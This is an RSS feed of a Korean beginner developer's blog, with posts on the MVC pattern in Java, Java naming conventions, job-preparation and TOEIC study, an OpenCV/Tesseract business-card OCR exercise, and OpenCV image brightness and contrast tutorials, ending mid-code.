<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>𝙋𝙤𝙨𝙨𝙤 𝙁𝙖𝙧𝙚!</title>
        <link>https://velog.io/</link>
        <description>𝙋𝙤𝙨𝙨𝙤 𝙁𝙖𝙧𝙚!</description>
        <lastBuildDate>Wed, 27 Mar 2024 15:54:44 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>𝙋𝙤𝙨𝙨𝙤 𝙁𝙖𝙧𝙚!</title>
            <url>https://velog.velcdn.com/images/gloomy_passion/profile/1b8c7e66-c74e-450d-b2a4-88c333330aaf/image.jpg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. 𝙋𝙤𝙨𝙨𝙤 𝙁𝙖𝙧𝙚!. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/gloomy_passion" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[Java - MVC 패턴 적용해보기]]></title>
            <link>https://velog.io/@gloomy_passion/Java-MVC-%ED%8C%A8%ED%84%B4-%EC%A0%81%EC%9A%A9%ED%95%B4%EB%B3%B4%EA%B8%B0</link>
            <guid>https://velog.io/@gloomy_passion/Java-MVC-%ED%8C%A8%ED%84%B4-%EC%A0%81%EC%9A%A9%ED%95%B4%EB%B3%B4%EA%B8%B0</guid>
            <pubDate>Wed, 27 Mar 2024 15:54:44 GMT</pubDate>
            <description><![CDATA[<p>이전 글에서 언급했던 제리님의 테코톡 영상을 참고해서 김영한님 자바 입문 강의에 있는 2차원 배열 문제와 풀이 3번 <code>상품 관리 프로그램</code>을 간략하게 구현해 보았다. 사실 <code>Java</code>를 이용한 프로그래밍 자체가 거의 처음인 수준이다 보니 제대로 이해했는지, 규칙에 맞게 구현했는지 스스로 판단할 수준이 되지 못해서 평가 자체가 어렵다.</p>
<p>문제 자체는 이렇다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/3064a9ae-9b25-4b9f-9e83-449a3c2525c0/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/cb0a3adc-aa9d-465c-8aad-d21b3606dd24/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/a2e9e1d3-6f3a-4ac8-828d-f1de2d63f20f/image.png" alt="">
[출처: 김영한의 자바 입문 - 코드로 시작하는 자바 첫걸음]</p>
<p>강의에서는 기본적으로 배열 2개와 조건문, 반복문만을 이용해서 간단하게 구현한다. 그런데 문득 이 문제를 보는 순간 이전 글의 <code>MVC</code> 패턴이 생각났고, 해당 방법으로 구현해 보자는 생각이 들었다. 나는 프로그래밍 언어를 새로 배울 때 스스로 이것저것 만들어 보는 것이 가장 중요하다고 생각하는 사람이라 마음이 더 동했던 것 같다.</p>
<p>첫 번째로 구현한 부분은 <code>Model</code>이다. 이 프로그램은 말 그대로 <code>상품 관리 프로그램</code>이기 때문에 <code>Model</code>은 상품의 정보를 담고 있는 클래스여야한다고 생각했다. 따라서 다음과 같이 구현했다.</p>
<pre><code class="language-java">package product;

public class Product {
    private String name;
    private int price;

    public Product(String name, int price) {
        this.name = name;
        this.price = price;
    }

    public String getName() {
        return name;
    }

    public int getPrice() {
        return price;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setPrice(int price) {
        this.price = price;
    }
}</code></pre>
<p><code>MVC</code> 패턴의 1규칙인 &#39;<code>Model</code>은 <code>Controller</code>와 <code>View</code>에 의존하지 않아야 한다. 즉, <code>Model</code>내부에 <code>Controller</code>와 <code>View</code>에 관련된 코드가 있으면 안 된다.&#39;를 생각하며 작성한 코드이다.</p>
<p>다음은 <code>View</code>부분이다.</p>
<pre><code class="language-java">package product;

public class OutputView {
    public static void printProduct(Product product) {
        System.out.println(product.getName() + &quot;: &quot; + product.getPrice() + &quot;원&quot;);
    }

    public static void printMenu() {
        System.out.println(&quot;1. 상품 등록 | 2. 상품 목록 | 3. 종료&quot;);
        System.out.print(&quot;메뉴를 선택하세요: &quot;);
    }

    public static void printExit() {
        System.out.println(&quot;프로그램을 종료합니다.&quot;);
    }

    public static void printNoMoreProducts() {
        System.out.println(&quot;더 이상 상품을 등록할 수 없습니다.&quot;);
    }

    public static void printInputName() {
        System.out.print(&quot;상품 이름을 입력하세요: &quot;);
    }

    public static void printInputPrice() {
        System.out.print(&quot;상품 가격을 입력하세요: &quot;);
    }

    public static void printNoProducts() {
        System.out.println(&quot;등록된 상품이 없습니다.&quot;);
    }
}
</code></pre>
<p><code>View</code>는 <code>Controller</code>에 의존하면 안 되기 때문에 <code>Controller</code>로부터 상품 정보를 넘겨받아 출력하는 부분과 기타 출력 부분을 구현하였다.</p>
<p>마지막으로 <code>Controller</code>부분이다.</p>
<pre><code class="language-java">package product;

import java.util.Scanner;

public class Controller {

    public static void main(String[] args) {
        Product[] products = new Product[10];
        Scanner scanner = new Scanner(System.in);
        // 상품 재고
        int inventory = 0;

        while (true) {
            int menu;

            OutputView.printMenu();
            menu = scanner.nextInt();
            if (menu == 3) { // 프로그램 종료
                OutputView.printExit();
                break;
            } else if (menu == 1) { // 상품 등록
                if (inventory == 10) { // 상품믈 더 이상 등록할 수 없는 경우
                    OutputView.printNoMoreProducts();
                } else {
                    OutputView.printInputName();
                    scanner.nextLine();
                    String name = scanner.nextLine();
                    OutputView.printInputPrice();
                    int price = scanner.nextInt();
                    products[inventory] = new Product(name, price);
                    inventory++;
                }
            } else { // 상품 목록
                if (inventory == 0) { // 등록된 상품이 없는 경우
                    OutputView.printNoProducts();
                } else {
                    for (int i = 0; i &lt; inventory; i++) {
                        OutputView.printProduct(products[i]);
                    }
                }
            }
        }
    }
}</code></pre>
<p>사실 규칙에 맞게 제대로 잘 구현했는지는 모르겠다. 하지만 이렇게 일종의 패턴을 지키려고 노력하면서 프로그래밍을 해본 경험은 처음인데 확실히 유지보수를 위해 쓰기 시작했다는 말이 무슨 뜻인지 알 것 같다.</p>
<p>명확하게 기능이 나뉘어있기 때문에 문제가 발생하는 부분을 특정하기도 쉽고 해당 부분만 수정하면 되기 때문이다. <code>main</code>함수의 길이가 너무 긴 것 같아서 나중에는 함수로 따로 빼서 구현해 보려고 한다.</p>
<p><code>Java</code>자체는 <code>C</code>와 유사한 부분이 초반에는 좀 있어서 기본적인 부분은 빠르게 넘어간 것 같다. 대신, 객체 지향 프로그래밍과 클래스, 상속 등의 부분은 심도 있게 공부하려고 보고 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Java - MVC 패턴이란?]]></title>
            <link>https://velog.io/@gloomy_passion/Java-MVC-%ED%8C%A8%ED%84%B4%EC%9D%B4%EB%9E%80</link>
            <guid>https://velog.io/@gloomy_passion/Java-MVC-%ED%8C%A8%ED%84%B4%EC%9D%B4%EB%9E%80</guid>
            <pubDate>Wed, 27 Mar 2024 04:23:43 GMT</pubDate>
            <description><![CDATA[<p>최근 <code>Java</code>의 필요성을 절실히 느껴서 공부하던 와중에 <code>MVC</code>패턴이라는 것에 대해서 알게 되었다. 지난 글인 변수 명명 규칙에 대해 처음 들었을때도 생각했지만, 나는 프로그래밍이라는 것에 대해서 아예 무지했구나, 라는 생각이 들었다.</p>
<p>후술할 모든 내용은 이 <a href="https://www.youtube.com/watch?v=ogaXW6KPc8I">동영상</a>을 기반으로 한다. (우아한테크코스의 제리님이 설명하신 영상이다.)</p>
<p><code>MVC</code>패턴은 프로그래밍을 하는 하나의 방법론이라고 할 수 있는데, <code>MVC</code>는 프로그램의 <code>유지보수</code>를 위해서 생긴 패턴이다. 즉, <code>유지보수</code>가 편해지는 코드 구성 방식이라고 할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/e050dc65-0395-4851-adec-d66303d33617/image.png" alt=""></p>
<p>코드를 <code>Model</code>, <code>View</code>, <code>Controller</code> 세 가지로 나누어서 작성하는 것을 뜻하는데, 단순히 나누어서 작성하는 것이 아니라 여기에는 기본적인 동작 원리와 몇 가지 규칙이 존재한다.</p>
<p>사용자는 <code>Controller</code>를 통해 정보를 요청하고, <code>Controller</code>는 사용자가 요청한 정보를 <code>Model</code>에게 요청한다. <code>Model</code>이 <code>Controller</code>에게 정보를 전달하게 되면 <code>Controller</code>는 <code>View</code>에게 해당 정보를 전달한다. 그리고 <code>View</code>는 전달받은 정보를 사용자가 확인할 수 있는 <code>UI</code>에 넣어서 웹 페이지를 통해 사용자에게 보여주는 역할을 한다. 즉, 각각의 역할이 명확하다.</p>
<p>이렇게 역할을 나눠서 프로그래밍을 진행하게 되면, 프로그램 상에서 오류가 발생했을 때, 어떤 부분에서 발생했는지 명확하게 파악할 수 있고 해당 부분의 오류를 수정하기 위해서 다른 부분을 건드릴 필요 없이 해당 부분만 수정하면 된다는 장점이 있다.</p>
<p>참고한 테코톡 영상에서 설명하는 <code>MVC</code>패턴의 규칙은 다음과 같다.</p>
<ol>
<li><p><code>Model</code>은 <code>Controller</code>와 <code>View</code>에 의존하지 않아야 한다. 즉, <code>Model</code>내부에 <code>Controller</code>와 <code>View</code>에 관련된 코드가 있으면 안 된다.</p>
</li>
<li><p><code>View</code>는 <code>Model</code>에만 의존해야 하고 <code>Controller</code>에는 의존하면 안 된다. 즉, <code>View</code> 내부에는 <code>Model</code>의 코드만 있을 수 있고 <code>Controller</code>의 코드가 있으면 안 된다.</p>
</li>
<li><p><code>View</code>가 <code>Model</code>로부터 데이터를 받을 때는, 사용자마다 다르게 보여주어야 하는 데이터에 대해서만 받아야 한다.</p>
</li>
<li><p><code>Controller</code> 내부에는 <code>Model</code>과 <code>View</code>에 의존해도 된다. 즉, <code>Controller</code> 내부에는 <code>Model</code>과 <code>View</code>의 코드가 있을 수 있다.</p>
</li>
<li><p><code>View</code>가 <code>Model</code>로부터 데이터를 받을 때, 반드시 <code>Controller</code>에서 받아야 한다.</p>
</li>
</ol>
<p>지금은 아직 <code>Java</code>에 익숙해지는 중이지만, <code>MVC</code>패턴 자체는 프로그래밍 언어에 상관없이 후에 프로그래밍을 하면서 익숙해져야 할 패턴이라고 생각한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Java - 변수 명명 규칙]]></title>
            <link>https://velog.io/@gloomy_passion/Java-%EB%B3%80%EC%88%98</link>
            <guid>https://velog.io/@gloomy_passion/Java-%EB%B3%80%EC%88%98</guid>
            <pubDate>Tue, 26 Mar 2024 08:09:13 GMT</pubDate>
            <description><![CDATA[<p>인프런에서 김영한님 자바 입문 강의를 듣다가 <strong>관례</strong>에 대해서 몰랐던 사실이 있어서 적어본다.
자바의 기본적인 자료형이나, 자료형의 바이트 수 등에 관한 정보는 기존에도 학부 전공수업인 &#39;객체 지향 프로그래밍&#39;과 &#39;웹 프로그래밍&#39;수업에서 학습한적이 있기 때문에 알고는 있었는데 언급한 <strong>관례</strong>에 대해서는 처음 알게 된 사실이다.</p>
<blockquote>
</blockquote>
<ul>
<li>소문자로 시작하는 <strong>낙타표기법</strong><ul>
<li>변수 이름은 소문자로 시작하는 것이 일반적이다. 여러 단어로 이루어진 변수 이름의 경우, 첫 번째 단어는 소문자로 시작하고 그 이후의 각 단어는 대문자로 시작하는 낙타 표기법(<code>camel case</code>)를 사용한다.
(예시: <code>orderDetail</code>, <code>myAccount</code>)</li>
</ul>
</li>
<li>클래스는 <strong>대문자</strong>로 시작, 나머지는 <strong>소문자</strong>로 시작<ul>
<li>자바에서 클래스 이름의 첫 문자는 대문자로 시작한다. 그리고 나머지는 모두 첫 글자를 소문자로 시작한다. 여기에 낙타 표기법을 적용하면 된다.<ul>
<li>클래스: <code>Person</code>, <code>OrderDetail</code></li>
<li>변수를 포함한 나머지: <code>firstName</code>, <code>userAccount</code></li>
</ul>
</li>
<li>예외 2가지<ul>
<li>상수는 모두 대문자 사용, 언더바로 구분<ul>
<li><code>USER_LIMIT</code></li>
</ul>
</li>
<li>패키지는 모두 소문자 사용<ul>
<li><code>org.spring.boot</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><strong>변수 이름은 의미있고, 그 용도를 명확하게 설명할 수 있어야 한다!</strong></li>
</ul>
<p>출처: 김영한의 자바 입문 - 코드로 시작하는 자바 첫걸음</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[SSAFY 앰배서더 지원후기와 TOEIC]]></title>
            <link>https://velog.io/@gloomy_passion/SSAFY-%EC%95%B0%EB%B0%B0%EC%84%9C%EB%8D%94-%EC%A7%80%EC%9B%90%ED%9B%84%EA%B8%B0%EC%99%80-TOEIC</link>
            <guid>https://velog.io/@gloomy_passion/SSAFY-%EC%95%B0%EB%B0%B0%EC%84%9C%EB%8D%94-%EC%A7%80%EC%9B%90%ED%9B%84%EA%B8%B0%EC%99%80-TOEIC</guid>
            <pubDate>Tue, 19 Mar 2024 16:02:32 GMT</pubDate>
            <description><![CDATA[<p>약 한 달여만의 벨로그다. 그동안 KDT AISEC 과정에서 프로젝트도 진행하고 이것저것 취업 준비에 관련된 활동을 하다 보니 글을 쓸 시간이 도저히 없었다.</p>
<p>한창 벨로그에 글 올릴 때는 하루에 하나씩 올려야겠다는 마음가짐이었는데 바빠지고 할 일이 많아지다 보니 현실적으로 불가능한 것 같다...</p>
<p>지난 한 달 동안 매우 많은 변화가 있었다. 우선 조금 흐트러지던 내 마음을 다시 잡았다. 계기가 있었는데, 지금 당장 쓸만한 내용은 아니라서 이후에 내가 무언가 이루어 낸다면 그때쯤 지금의 마음가짐에 대해서 써보려 한다.</p>
<p>지금 당장 나에게 가장 큰 일 두 가지는 우선 SSAFY 앰배서더에 지원한 것과 토익 공부를 시작했다는 점?</p>
<p>대학 생활 동안 가장 후회하는 것 한 가지를 꼽자면 지금 당장은 자격증 준비를 안 했던 것이다...
그 자격증 하나 때문에 졸업을 못하고, 졸업을 못했다는 사실 하나만으로 잃는 게 너무나 큰 것 같다.</p>
<p>나는 현재 SSAFY 12기 지원을 목표로 하고 있는데, 졸업 요건이 발목을 잡아서 울며 겨자 먹기로 토익 공부를 시작했다. 달성해야 하는 목표치는 900점 이상인데, 까짓거 한번 해보기로 했다. 이번 기회에 빡세게 공부해서 점수 따면 두고두고 좋을 것 같기도 하고... 게을렀던 나에 대한 벌이라고 생각도 해서 어쩔 수 없는 것 같다.</p>
<p>그런 와중에 얼마 전에 SSAFY 앰배서더 모집 공고를 봤었는데, 기왕 SSAFY 지원하려고 토익도 공부하는 마당에 SSAFY 앰배서더도 해보고 싶다는 생각이 들어서 마음먹고 지원해 봤다.</p>
<p>구글 폼으로 지원하는 방식인데, 아무래도 앰배서더가 홍보하는 느낌이라서 그런지 SNS 운영하는 사람이 유리한 면이 있는 것 같다. 평소에 인스타그램이나 X, 메타같은 SNS를 하지 않는 나로서는 조금 아쉽지만 그래도 나름 벨로그 있으니까... 잘 됐으면 좋겠다.</p>
<p>다시 토익 얘기로 돌아와서, 나는 토익이 나름 이해와 스킬의 영역이라고 생각했었는데 강의 듣고 생각이 바뀌었다. 이건 미친 암기 싸움이고 암기가 없으면 아무것도 안 된다...</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/a99aeb97-0b4f-4e69-bcdf-5eb923962e46/image.png" alt="">
토익을 보기로 결심하고 그날 바로 박혜원쌤 환급코스 결제했는데, 지금까진 만족스럽다. 확실하게 스킬과 암기 위주로 점수 뽑아내는 법을 알려주시는 것 같다. LC 같은 경우는 교육장 다니면서 사이사이 지하철, 버스에서 무작정 듣고 있고 운동할 때도 LC만 듣는 것 같다. 신기한 건 나름 듣다 보니까 잘 들려지고 있는 것 같다는 착각을 하는 건...가..... 여튼, 4월 14일에 시험 접수를 했는데 그날이 마침 또 LCK 결승전이다. 그날 토익시험 기깔나게 보고 LCK 봐야지.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 10주차 - OCR 미니 챌린지]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-10%EC%A3%BC%EC%B0%A8-OCR-%EB%AF%B8%EB%8B%88-%EC%B1%8C%EB%A6%B0%EC%A7%80</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-10%EC%A3%BC%EC%B0%A8-OCR-%EB%AF%B8%EB%8B%88-%EC%B1%8C%EB%A6%B0%EC%A7%80</guid>
            <pubDate>Mon, 19 Feb 2024 00:25:46 GMT</pubDate>
            <description><![CDATA[<h3 id="도전주제">도전주제</h3>
<p>제공된 데이터셋을 분석하여 도전 주제에 맞춘 비전 기술을 개발하라!</p>
<h3 id="챌린지-배경">챌린지 배경</h3>
<ul>
<li>명함 관리 전문 서비스를 운영하고 있는 A사에서는 기존에 카메라로만 등록 처리했던 명함 이미지 서비스를 확장할 계획을 세우고 있습니다.</li>
<li>기존에 사용자들이 촬영해 둔 명함 이미지도 불러와 인식할 수 있도록 만드는 것이 새로운 서비스의 목표입니다.</li>
<li>하지만 기존 촬영본의 경우 이미지 크기, 방향, 배경과의 대비, 조명 등 다양한 환경 조건으로 인해 일관된 OCR 적용이 어려운 상황입니다.</li>
<li>따라서 다양한 조건으로 촬영된 주어진 명함 이미지들을 자동으로 전처리해 OCR을 적용하는 코드를 작성해야 해야 합니다. </li>
</ul>
<h3 id="데이터셋">데이터셋</h3>
<p><code>images.zip</code>: 다양한 조건에서 촬영된 명함 이미지 36장</p>
<h3 id="데이터-분석">데이터 분석</h3>
<p>데이터로는 명함이미지 36장이 주어졌는데, 이미지들의 특성이 각각 제각각이었다. 어떤 이미지는 거꾸로 찍힌 이미지도 있었고 어떤 이미지는 명함이 잘려서 찍힌 이미지도 있었고, 또 어떤 이미지는 여러 명함이 동시에 찍힌 이미지도 있었다.</p>
<p>이러한 상황에서 명함의 네 모서리를 정확히 탐지해서 투시변환하는 작업이 어렵다고 생각했고, 직접 수동으로 <code>OCR</code>을 진행할 부분을 지정하는게 좋겠다고 생각했다.</p>
<p>따라서 마우스 이벤트를 이용해 명함 이미지를 띄운 후 <code>OCR</code>을 진행할 꼭짓점 네 군데를 지정하는 방식으로 진행했다.</p>
<pre><code class="language-python"># 마우스 클릭 이벤트 콜백 함수
def mouse_callback(event, x, y, flags, param):

    # 마우스 왼쪽 버튼을 클릭할 때
    if event == cv.EVENT_LBUTTONDOWN:
        if len(coords) == 0:
            print(f&quot;좌상단: ({x}, {y})&quot;)
            coords.append((x, y))

        elif len(coords) == 1:
            print(f&quot;우상단: ({x}, {y})&quot;)
            coords.append((x, y))

        elif len(coords) == 2:
            print(f&quot;좌하단: ({x}, {y})&quot;)
            coords.append((x, y))

        elif len(coords) == 3:
            print(f&quot;우하단: ({x}, {y})&quot;)
            coords.append((x, y))

        # 좌표가 4개가 되면
        if len(coords) == 4:
            # 종료
            cv.destroyAllWindows()</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/dda037b3-7ed6-4f3b-9b11-6b08a8c229b5/image.png" alt="">
이런식으로 클릭할 때마다 해당 좌표가 출력되는 방식으로 구성했다.</p>
<p>프로그램을 실행할 때 <code>OCR</code>을 진행할 이미지 파일을 두번째 인자로 주는 방법을 선택했고, 좌표를 지정한 후 해당 좌표로 명함 비율에 맞춰 투시변환을 진행했다.</p>
<p>투시변환 이후 그레이 스케일 변환, 가우시안 블러링, 가우시안 쓰레쉬홀딩 및 침슥과정을 진행해 글자를 더욱 선명하게 만들고 테서랙트 <code>OCR</code>을 이용해서 변환 진행하였다.</p>
<pre><code class="language-python"># 이미지 투시 변환
pts1 = np.float32([coords[0], coords[1], coords[2], coords[3]])
# 해당 좌표로 투시변환 가로 세로 90:50 비율로
pts2 = np.float32([[0, 0], [900, 0], [0, 500], [900, 500]])
m = cv.getPerspectiveTransform(pts1, pts2)
card_image = cv.warpPerspective(img_resized, m, (900, 500))

# to gray scale
gray = cv.cvtColor(card_image, cv.COLOR_BGR2GRAY)
# apply gaussian blur
blurred = cv.GaussianBlur(gray, (3, 3), 0)
# adaptive thresholding
thresh = cv.adaptiveThreshold(blurred, 255, cv.ADAPTIVE_THRESH_GAUSSIAN_C, cv.THRESH_BINARY, 9, 5)
# erode
kernel = np.ones((1, 3), np.uint8)
erode = cv.erode(thresh, kernel, iterations=1)

# OCR 수행
options = &quot;-l kor+eng --oem 3 --psm 6&quot;
text = pyt.image_to_string(erode, config=options)
# output
print(text)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/1d7bdb3f-6cb8-43f2-bd46-e9ac17f4fb96/image.png" alt="">
다음과 같이 <code>OCR</code>이 잘 진행되었음을 볼 수 있다.</p>
<p>하지만 이러한 방식의 파이프라인의 한계점은 명확한데, 명함의 비율로 고정 변환을 하기 때문에 한장에 명함 여러징이 있는 경우 해당 명함들의 배치가 리사이즈 비율과 맞지 않다면 한번에 여러장을 처리할 수 없고 해당 이미지 한장을 처리하기 위해 이미지 내의 명함 개수만큼 프로그램을 실행해야 한다는 단점이 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[프로그래머스] 기초 및 입문 트레이닝 100% 달성 후기]]></title>
            <link>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EA%B8%B0%EC%B4%88-%EB%B0%8F-%EC%9E%85%EB%AC%B8-%ED%8A%B8%EB%A0%88%EC%9D%B4%EB%8B%9D-100-%EB%8B%AC%EC%84%B1-%ED%9B%84%EA%B8%B0</link>
            <guid>https://velog.io/@gloomy_passion/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EA%B8%B0%EC%B4%88-%EB%B0%8F-%EC%9E%85%EB%AC%B8-%ED%8A%B8%EB%A0%88%EC%9D%B4%EB%8B%9D-100-%EB%8B%AC%EC%84%B1-%ED%9B%84%EA%B8%B0</guid>
            <pubDate>Wed, 07 Feb 2024 15:09:15 GMT</pubDate>
            <description><![CDATA[<p><code>KDT AISEC</code>과정을 진행하면서 개인적으로 코딩에 대한 실력이 정말 떨어진다고 생각해서 뒤늦게 부랴부랴 프로그래머스 문제를 풀기 시작했다.</p>
<p>코딩 문제풀이라고는 학부생 시절에 수업 시간에 진행하거나 심심풀이로 풀었던 정도가 다인지라 이번에 프로그래머스 문제들을 풀면서 나의 부족함을 뼈저리게 느꼈다.</p>
<p>분명히 기초, 입문 문제들이라고 써있는데 중간 중간 어려운 것들도 나오기도 했고, 애초에 내가 <code>python</code>에 대해서 엄청나게 모르고 있었구나라는 생각이 들었다.</p>
<p>정말 기본적인 요소들, 리스트나 셋, 딕셔너리같은 파이썬의 자료형에 대해서도 무지했고, 반복문이나 알고리즘도 C언어에 익숙해져있던 나에게(그렇다고 C를 잘하는것도 아니지만...) 어색했다.</p>
<p>그래도 어찌 겨우겨우 이 문제들을 다 풀기는 했는데, 그래봤자 <code>Lv. 0</code>문제들이라 이제 시작인 것 같다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/28725cb1-c9af-4165-8e63-54ab690e72d7/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/70b341fb-9120-497b-a160-e15a7e77366c/image.png" alt="">
1월초에 시작했었는데, 중간 중간 밀린 공부가 너무나도 많아서 1월말부터 부랴부랴 다시 시작해서 벼락치기로 끝내버렸다. 아직도 나는 개발자 취업 준비생이라기엔 코딩 실력이 너무너무 떨어지기 때문에, 스스로가 <code>나 파이썬 할 줄 알아</code>라고 말할 수 있기까지는 한참 남은 것 같다.</p>
<p>얼른 <code>Lv. 1</code>문제도 다 풀고 기출문제들 풀어봐야지...</p>
<p>어느정도 문제의 난이도가 올라가고 나니 학부때 흘려들었던 자료구조와 알고리즘의 필요성을 느끼는 중이다. 어떻게 공부를 하면 할수록 계속 공부할게 늘어나는 기분인지...</p>
<p>스스로 부끄럽지 않으려면 아주아주 많이 노력해야 할 것 같다.</p>
<p>얼른 상위 난이도의 문제들도 척척 풀 수 있는 사람이 되기를.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 7주차 - openCV(2)]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-7%EC%A3%BC%EC%B0%A8-openCV2</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-7%EC%A3%BC%EC%B0%A8-openCV2</guid>
            <pubDate>Wed, 07 Feb 2024 14:58:51 GMT</pubDate>
            <description><![CDATA[<h2 id="opencv">openCV</h2>
<hr>
<h3 id="밝기와-대비">밝기와 대비</h3>
<pre><code class="language-python">img = cv.imread(&#39;../samples/lena.jpg&#39;)
img_r = cv.cvtColor(img, cv.COLOR_BGR2RGB)
plt.imshow(img_r)</code></pre>
<p>레나라는 이미지는 영상 처리 알고리즘과 관련된 작업에서 굉장히 유명한 이미지이다.</p>
<p>1996년 1월판 IEEE Transactions on Image Processing의 편집장이던 David C. Munson은 레나 사진을 영상처리에 널리 사용하는 이유에 대해 다음과 같이 밝혔다.</p>
<blockquote>
</blockquote>
<p>먼저, 레나 이미지는 세밀함과 평면, 그림자, 그리고 질감이 적절하게 조화되어 있어서 다양한 이미지 처리 알고리즘을 처리하는 데 좋다. 이 이미지는 정말 좋은 시험용 이미지이다. 둘째로, 레나 이미지는 매력적인 여성의 사진이다. 그러므로 이미지 처리 연구 분야 종사자들이 매력적이라고 느끼는 이미지에 끌리는 것은 대다수가 남자이기 때문에, 별로 놀라울 게 없다.</p>
<p>출처: <a href="https://ko.wikipedia.org/wiki/%EB%A0%88%EB%82%98_(%EC%9D%B4%EB%AF%B8%EC%A7%80)">위키백과</a></p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/0090c42e-faf5-4c19-959f-41a3890b7577/image.png" alt=""></p>
<p>우선 밝기와 대비의 차이를 보다 극명하게 보기 위해 이미지를 그레이 스케일로 바꿔주었다.</p>
<pre><code class="language-python">img = cv.cvtColor(img, cv.COLOR_BGR2GRAY)
plt.imshow(img, cmap=&#39;gray&#39;)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/a9b1825f-cf20-4939-8edc-a32980cf2608/image.png" alt=""></p>
<p>이제 이미지의 픽셀값들에 단순 수치 더하기 빼기를 진행해보자.</p>
<pre><code class="language-python">img1 = img - 100
plt.imshow(img1, cmap=&#39;gray&#39;)
img2 = img + 100
plt.imshow(img2, cmap=&#39;gray&#39;)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/3abbdb0f-1845-405d-8622-4fc2860de999/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/29e9277e-ce8a-4bae-bb2f-58d77efaf094/image.png" alt="">
다시, <code>openCV</code>에서 제공하는 <code>cv.add</code>함수를 이용해보자.</p>
<pre><code class="language-python">img3 = cv.add(img, 100)
plt.imshow(img3, cmap=&#39;gray&#39;)
img3 = cv.add(img, -100)
plt.imshow(img3, cmap=&#39;gray&#39;)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/68b58d6c-9246-4c2d-939d-2feb65d8c75b/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/0133133e-13dc-4902-9314-0183b4f10538/image.png" alt="">
단순 더하기 빼기와는 다르게 이미지 자체가 살아있으면서 조절되는것을 볼 수 있다.</p>
<pre><code class="language-python">img = cv.imread(&#39;../samples/lena.jpg&#39;, cv.IMREAD_GRAYSCALE)

def on_brightness(pos, src):
    dst = cv.add(src, pos)
    return dst

cv.namedWindow(&#39;image&#39;)
cv.createTrackbar(&#39;brightness&#39;, &#39;image&#39;, 0, 255, lambda x: x)

while cv.waitKey(1) != 27:
    bright = cv.getTrackbarPos(&#39;brightness&#39;, &#39;image&#39;)

    img_br = on_brightness(bright, img)
    cv.imshow(&#39;image&#39;, img_br)

cv.destroyAllWindows()</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/a82096cf-afe1-4a3c-adf9-0adfcdf0c92a/image.png" alt="">
위는 트랙바를 이용해 밝기를 조절하는 프로그램이다.</p>
<pre><code class="language-python">def on_contrast(pos, src):
    pos -= 10
    dst = src + (src - 128) * pos
    return dst

cv.namedWindow(&#39;image&#39;)
cv.createTrackbar(&#39;contrast&#39;, &#39;image&#39;, 0, 20, lambda x: x)

while cv.waitKey(1) != 27:
    bright = cv.getTrackbarPos(&#39;contrast&#39;, &#39;image&#39;)

    img_br = on_contrast(bright, img)
    cv.imshow(&#39;image&#39;, img_br)

cv.destroyAllWindows()</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/2ca2b013-6260-4493-9e02-30c1a5b2a816/image.png" alt="">
같은 방법으로 대비를 조절하는 프로그램도 작성해보았다.</p>
<h3 id="변환">변환</h3>
<p>이미지 변환에 대해서 살펴보자.</p>
<pre><code class="language-python"># 이미지 크기 조정

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)

img = cv.imread(&#39;../samples/messi5.jpg&#39;)

res1 = cv.resize(img, None, fx=2, fy=2, interpolation=cv.INTER_CUBIC)
print(img.shape, res1.shape)

h, w = img.shape[:2]
res2 = cv.resize(img, (2*w, 2*h), interpolation=cv.INTER_CUBIC)
print(res2.shape)

ax1.imshow(img)
ax2.imshow(res1)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/08e0914f-99bc-4d62-ba8b-6db74d1f584f/image.png" alt="">
언뜻 보면 별 차이가 없어보이지만 사실은 오른쪽의 메시가 사이즈를 두배로 늘린 메시이다.</p>
<pre><code class="language-python"># 이미지 위치 변경

fig = plt.figure(figsize=(10, 10))
ax1 = fig.add_subplot(1, 2, 1)
ax2 = fig.add_subplot(1, 2, 2)

img = cv.imread(&#39;../samples/messi5.jpg&#39;)

r, c = img.shape[:2]
